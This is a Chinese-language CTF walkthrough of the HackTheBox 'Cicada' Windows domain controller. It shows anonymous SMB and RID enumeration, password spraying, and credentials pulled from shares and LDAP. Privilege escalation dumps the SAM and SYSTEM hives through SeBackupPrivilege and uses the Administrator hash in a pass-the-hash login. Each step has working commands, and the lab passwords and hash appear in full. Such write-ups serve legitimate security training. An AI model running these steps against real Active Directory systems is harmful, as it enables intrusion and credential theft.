[toc]

因为在外面实习,没有实验室100ms延迟的网,也是只能用pwnbox将就将就打了

信息收集

先nmap看看端口

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-20 01:55 CST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 01:55
Completed NSE at 01:55, 0.00s elapsed
Initiating NSE at 01:55
Completed NSE at 01:55, 0.00s elapsed
Initiating NSE at 01:55
Completed NSE at 01:55, 0.00s elapsed
Initiating Ping Scan at 01:55
Scanning 10.129.231.149 [4 ports]
Completed Ping Scan at 01:55, 0.27s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:55
Completed Parallel DNS resolution of 1 host. at 01:55, 0.00s elapsed
Initiating SYN Stealth Scan at 01:55
Scanning 10.129.231.149 [1000 ports]
Discovered open port 135/tcp on 10.129.231.149
Discovered open port 445/tcp on 10.129.231.149
Discovered open port 53/tcp on 10.129.231.149
Discovered open port 139/tcp on 10.129.231.149
Discovered open port 3269/tcp on 10.129.231.149
Discovered open port 88/tcp on 10.129.231.149
Discovered open port 389/tcp on 10.129.231.149
Discovered open port 636/tcp on 10.129.231.149
Discovered open port 464/tcp on 10.129.231.149
Discovered open port 3268/tcp on 10.129.231.149
Stats: 0:00:12 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 97.40% done; ETC: 01:56 (0:00:00 remaining)
Completed SYN Stealth Scan at 01:56, 12.73s elapsed (1000 total ports)
Initiating Service scan at 01:56
Scanning 10 services on 10.129.231.149
Completed Service scan at 01:56, 50.10s elapsed (10 services on 1 host)
Initiating OS detection (try #1) against 10.129.231.149
Retrying OS detection (try #2) against 10.129.231.149
Initiating Traceroute at 01:56
Completed Traceroute at 01:56, 0.25s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 01:56
Completed Parallel DNS resolution of 2 hosts. at 01:56, 0.00s elapsed
NSE: Script scanning 10.129.231.149.
Initiating NSE at 01:56
Completed NSE at 01:57, 40.03s elapsed
Initiating NSE at 01:57
Completed NSE at 01:57, 3.67s elapsed
Initiating NSE at 01:57
Completed NSE at 01:57, 0.00s elapsed
Nmap scan report for 10.129.231.149
Host is up (0.23s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-20 14:56:09Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-20T14:57:38+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
|_ssl-date: 2025-11-20T14:57:39+00:00; +7h00m00s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-20T14:57:38+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
|_SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
|_ssl-date: 2025-11-20T14:57:39+00:00; +7h00m00s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (89%)
Aggressive OS guesses: Microsoft Windows Server 2022 (89%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.014 days (since Thu Nov 20 01:37:43 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-11-20T14:57:00
|_  start_date: N/A

TRACEROUTE (using port 135/tcp)
HOP RTT       ADDRESS
1   233.42 ms 10.10.14.1
2   233.61 ms 10.129.231.149

NSE: Script Post-scanning.
Initiating NSE at 01:57
Completed NSE at 01:57, 0.00s elapsed
Initiating NSE at 01:57
Completed NSE at 01:57, 0.00s elapsed
Initiating NSE at 01:57
Completed NSE at 01:57, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.48 seconds
           Raw packets sent: 2081 (95.248KB) | Rcvd: 61 (4.056KB)

445端口一般是SMB文件共享,在之前driver那个靶场里学到可以用scf文件去抓NTLM哈希,但这里没有网页可以传文件,跟着gpt学渗透思路

先看看有哪些共享文件是guest可以访问的

# 列出所有共享(匿名访问)
smbclient -N -L //10.129.231.149

smbclient -N //10.129.231.149/SHARENAME
# 然后在交互式 shell 中 ls、cd,看能否读文件
  • NETLOGON
    • 域控制器上的一个标准共享
    • 存放 登录脚本 之类东西
    • 很多域环境里对普通域用户甚至匿名都可能可读
  • SYSVOL
    • 域控制器上的核心共享
    • 存放 GPO 策略、脚本、一些公共配置
    • 也经常是可读的,很多信息收集都从这里开始

在 AD 场景里,NETLOGONSYSVOL 是“标准 AD DC 共享”

首先尝试非默认共享目录能不能连上,如果能连上,再尝试执行命令

smb: \> ls           # 列出当前目录文件
smb: \> cd 子目录名   # 切换目录
smb: \> get 文件名   # 下载文件到本地
smb: \> lcd /tmp     # 设置本地下载目录
smb: \> exit         # 退出

dev能连,但是没有ls权限,于是尝试HR

image-20251120163330182

如果文件名里有空格,需要用引号包裹,下载下来之后拿到默认密码

Cicada$M6Corpb*@Lp#nZp!8

继续跟着gpt学渗透

AD 渗透的经典流程

现在你已经拿到了一个可能通杀“新员工”的默认密码,下一步就是:

枚举用户名 → 用这个密码去打登录 / Kerberos / SMB / LDAP 等服务

步骤 2:试试能不能匿名枚举域用户

方法 A:rpcclient

rpcclient -U "" 10.129.231.149

如果能进,里面执行:

rpcclient $> enumdomusers
rpcclient $> queryuser <RID或者用户名>

把有用的用户名存下来,写到一个 users.txt 里。


方法 B:LDAP 匿名枚举(如果允许)

ldapsearch -x -H ldap://10.129.231.149 -b "DC=cicada,DC=htb" "(objectClass=user)" sAMAccountName

从输出里把 sAMAccountName 抠出来当用户名列表。


步骤 3:用默认密码去做“密码喷洒”(password spray)

有了 users.txt 后,比如用 crackmapexeckerbrute

crackmapexec 示例:

crackmapexec smb 10.129.231.149 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'

kerbrute 示例(如果你有):

kerbrute passwordspray \
  -d cicada.htb \
  users.txt \
  'Cicada$M6Corpb*@Lp#nZp!8'

谁用了这个默认密码没改,就会直接登录成功,你就能拿到“用户名+密码”的组合。

背景知识补充

RPC = Remote Procedure Call = 远程过程调用

一句话:

“像在本机调用函数一样,去调用远程主机上的函数。”

比如在一台 Windows 服务器上,有这样一个“函数”(逻辑):

  • CreateUser(username, password)
  • EnumUsers()

如果把这些“函数”通过 RPC 暴露出来,别的电脑就可以:

  1. 按 RPC 协议把“我要调用 EnumUsers()”这件事,打包成网络报文。
  2. 发到服务器。
  3. 服务器执行函数,把结果打包回传。

你不用管细节(字节序、打包格式),RPC 帮你搞定。

在 Windows 里:

  • 会有很多系统服务对外暴露 RPC 接口,例如:
    • SAMR:跟账户管理相关(列用户、创建用户等)。
    • LSARPC:跟安全策略、SID 等相关。
  • rpcclient 就是连到这些 RPC 服务,去用它们的“函数”。

ldapsearch 是一个命令行工具(程序),不是协议。

  • 来自 OpenLDAP 套件,用来发 LDAP 请求
  • 它就是一个“LDAP 客户端”,帮你构造、发送 LDAP 报文,然后把结果打印出来。

你这条命令:

ldapsearch -x -H ldap://10.129.231.149 \
  -b "DC=cicada,DC=htb" "(objectClass=user)" sAMAccountName

可以拆开理解:

  • 协议层:用的是 LDAP 协议

  • 工具层:发请求的是 ldapsearch

  • 逻辑层:意思是

    “匿名连接这个 LDAP 服务器,从 cicada.htb 这个目录根开始,找所有对象类型是 user 的条目,并把它们的 sAMAccountName 取出来”。

所以:

  • LDAP = 协议 / 规则
  • ldapsearch = 实现这个协议的一个工具(客户端)

LDAP 全称:Lightweight Directory Access Protocol
中文一般叫:轻量目录访问协议

可以把它理解为:

“公司通讯录/组织架构数据库 的 访问协议”。

在 Windows 域 / AD 里,很多东西都存在“目录服务”里面,比如:

  • 用户(账号)
  • 电脑对象(机器帐号)
  • 组织单位(OU)
  • 邮箱的一些信息

LDAP 做的事:

  • 定义了:客户端如何向目录服务器发请求
    • 登录(Bind)
    • 搜索(Search)
    • 新增 / 修改 / 删除条目
  • 定义了:数据长什么样:树状结构(DN、CN、OU、DC 那些)。

在渗透视角,你现在常用的是:

利用 LDAP 协议,向 AD 问:“把你目录里所有 user 的登录名给我看看”。

crackmapexec(常简写 CME) 是一个专门用来“扫内网 / 探 Windows 域”的渗透测试框架

可以把它当成:

“一个帮你把 SMB / WinRM / SSH / LDAP 等协议都打包好的多功能瑞士军刀”。

常见用途(高层理解就行):

  • 批量测账号密码
    比如你有一堆用户:users.txt,一个常见密码 Password123!,CME 帮你:
    • 去每台机器的 SMB / WinRM 尝试登录
    • 返回哪台机器 / 哪个用户密码是对的
  • 信息枚举(有凭据时):
    列出共享、会话、补丁情况、域信息等。
  • 执行命令 / 横向移动(有高权限时):
    在一组主机上批量执行命令、dump hash 等。

重点:
它本身不是一个“协议”,而是一个工具 / 框架,底层是通过 SMB、WinRM、SSH、LDAP 等协议去和目标说话。

继续渗透

上一步中gpt给的枚举用户名思路都错误了,继续想办法枚举用户名

Cicada$M6Corpb*@Lp#nZp!8

第二天回来突然发现,当服务器和pwnbox都选新加坡的,就会得到

image-20251121093503309

无敌了

看一眼htb这一步的提示

Enumerate the domain users with Impacket's lookupsid or netexec. Then conduct a password spray using the password.

没见过,继续跟着gpt学渗透

1. 用 netexec 匿名枚举域用户

1.1 先试试内置的 --users

netexec smb 10.129.231.149 -u '' -p '' --users
  • 工具:netexec
  • 协议:SMB + RPC(SAMR 接口)
  • 作用:
    要求目标通过 RPC 服务 把域里的用户列出来。
    成功的话会打印一堆类似:
SMB  10.129.231.149 445 CICADA [+] CICADA\Administrator
SMB  10.129.231.149 445 CICADA [+] CICADA\some.user

1.2 如果 --users 没戏,就用 RID 爆破

netexec smb 10.129.231.149 -u '' -p '' --rid-brute 
  • --rid-brute 500-550:对 RID 做枚举。
  • 作用:
    通过 SAMR RPC 接口 依次问:RID=500 是谁、RID=501 是谁……
    然后把“SID → 用户名”映射出来,后面做密码喷射用。

所以ntc这条路基本是行不通了,用lookupsid看看,成功

impacket-lookupsid [email protected]

image-20251121095517649

Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

做密码喷射,看上去似乎成功了

image-20251121100349823

接下来继续用ntc看

netexec smb 10.129.231.149 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares

尝试winrm登录

evil-winrm -i 10.129.231.149 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8'

没登上,smb再去看看信息,跟匿名能拿到的信息基本一致

smbclient //10.129.231.149/SHARE -U 'cicada.htb/michael.wrightson'
# 提示输入密码的时候,粘贴:Cicada$M6Corpb*@Lp#nZp!8

试试用ldap找找信息

netexec ldap 10.129.231.149 \
  -u 'michael.wrightson' \
  -p 'Cicada$M6Corpb*@Lp#nZp!8' \
  --users

突然又看见一个用户

image-20251121102151264

david.orelious
aRt$Lp#7t*VQ!3

尝试用这个账号winrm登录

evil-winrm -i 10.129.231.149 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'

还是登不上,继续找其他信息

netexec smb 10.129.231.149 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares

发现这个用户突然对dev有了读的权限

smbclient //10.129.231.149/DEV -U 'cicada.htb/david.orelious'

image-20251121102706180

又找到一个用户

image-20251121102725518

emily.oscars
Q!3@Lp#M6b*7t*Vt
evil-winrm -i 10.129.231.149 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

终于能登上了,接下来尝试提权

image-20251121103055331

查看组权限

whoami /all

发现有备份文件的权限,看看gpt给的思路

  1. 提示:This privilege allows the user to create system backups.
    → 说明你有 SeBackupPrivilege / Backup Operators 权限。
  2. SeBackupPrivilege 允许你:
    • 用备份语义 绕过 ACL,导出 SAM / SYSTEM / SECURITY / NTDS 之类的敏感文件。Hacking Articles+1
  3. 导出这些文件后,在本地用 secretsdump 解析出:
    • 本机 / 域的账号 hash,尤其是 Administrator。
  4. 拿到 Administrator 的 NTLM hash 后,用 Pass-the-Hashevil-winrm -H)直接以 Administrator 身份登录。
  5. 得到管理员 WinRM shell → 读取 root flag / 进一步玩 AD。

将注册表文件备份并下载

*Evil-WinRM* PS> New-Item -ItemType Directory -Path C:\Temp -Force

*Evil-WinRM* PS> reg save HKLM\SAM C:\Temp\SAM
*Evil-WinRM* PS> reg save HKLM\SYSTEM C:\Temp\SYSTEM
*Evil-WinRM* PS> reg save HKLM\SECURITY C:\Temp\SECURITY

security文件下不下来,但是如果只要管理员NTLM哈希的话前两个也够了

image-20251121104652213

impacket-secretsdump -sam SAM -system SYSTEM  LOCAL

image-20251121104948018

2b87e7c93a3e8a0ea4a581937016f341
evil-winrm -i 10.129.231.149 -u 'Administrator' -H '2b87e7c93a3e8a0ea4a581937016f341'

登录上之后拿到flag

心中无难事,只要肯放弃